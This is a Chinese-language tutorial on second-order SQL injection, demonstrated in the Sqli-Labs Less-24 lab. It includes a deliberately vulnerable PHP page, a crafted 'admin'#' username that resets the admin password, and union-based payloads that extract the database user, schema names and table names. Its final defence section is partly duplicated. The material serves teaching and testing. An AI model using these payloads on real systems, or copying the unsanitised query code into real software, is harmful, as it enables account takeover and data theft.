二次注入与其他的注入不同,他不能再当前页面通过反馈来获取或者判断页面的信息,而是需要绕一个圈
二次注入的原理
二次注入主要分为两步
第一步:插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身就包含恶意内容
第二部:引用恶意数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的,在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,就会造成二次注入
攻击演示
先使用Sqli-Labs Less24,进行一下简单的演示
打开网页查看 http://192.168.101.200/Less-24/
这是一个很普通的登录窗口,我们假设知道它的账号admin,不知道它的密码
我们现在创建一个账号,账号名字为admin’#,密码为123
然后输入账号密码就能登陆了
sql数据库里面也有了
然后我们现在来修改密码,修改密码为1234567
我们再来看数据库,账户名为admin’#的账号密码没有被修改,而admin账号密码被修改了
使用账号admin和密码1234567也就能登陆了
原理
原理很简单,从数据库中取出的恶意数据,没有得到校验,直接被带入了修改密码的sql语句中
我们知道修改密码的页面是http://192.168.101.200/Less-24/pass_change.php
查看pass_change.php的源代码
虽然$pass
得到了加工,但我们这里下手目标是$username
,我们在修改密码的时候,我们的账户名是admin’#,即$username=admin'#
,完成了语句的构造
$sql = "UPDATE users SET PASSWORD='1234567' where username='admin'#' and password='$curr_pass' ";
实际生效的代码就是
"UPDATE users SET PASSWORD='1234567' where username='admin'
所以修改的就是admin账号
攻击演示
为了更直观的进行演示,需要对Sqli-Labs Less24进行一些修改
首先执行SQL语句
ALTER TABLE `users` CHANGE `username` `username` VARCHAR(255) CHARACTER SET gbk COLLATE gbk_chinese_ci NOT NULL;
修改username字段长度容量为255
在Less24中创建文件userlist.php,这个文件的功能就是显示所有用户的信息
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>doublecode</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
$sql = "SELECT * FROM users ORDER BY id asc";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
for($j = 0;$j<$num;++$j){
$row = mysql_fetch_array($result);
$username = $row[1];
$sql_detail = "SELECT * FROM users where username = '$username'";
$result_detail = mysql_query($sql_detail);
$num_detail = mysql_num_rows($result_detail);
for($i = 0;$i<$num_detail;++$i){
$row_detail = mysql_fetch_array($result_detail);
echo <<<END
<table border="1" style="table-layout:fixed;" width="1000" align="center">
<tr>
<th>$row_detail[1]</th>
<th>$row_detail[2]</th>
</tr>
</table>
END;
}
}
打开页面就是这个样子
首先我们这次还是创建一个用户http://192.168.101.200/Less-24/new_user.php
这次用户名命为1' union select 1,user(),3#
,打开userlist.php文件,我们就可以看到一个新用户
注入成功了,我们来看看userlist.php的代码变化,输出语句是这样的
$sql_detail = "SELECT * FROM users where username = '$username'";
但是由于我们的用户名是1' union select 1,user(),3#
,故构成语句
SELECT * FROM users where username = 1' union select 1,user(),3#'
由于我们知道username里面没有1,1是不存在的结果,就执行联合查询语句union select 1,user(),3
然后我们继续注入一下,注册密码由于和注入无关,就随便写了
查询数据库
账号名: 1' union select 1,(select schema_name from information_schema.schemata limit 0,1),3#
查询数据表
账号名: 1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),3#
二次注入防御
对外部提交的数据,需要更加谨慎的对待
t group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),3#
[外链图片转存中...(img-21OuurAa-1598411205610)]
------
# 二次注入防御
对外部提交的数据,需要更加谨慎的对待
程序内部的数据调用,也需要进行严格审查,一旦不小心,测试者就能将特定的SQL语句带入到查询中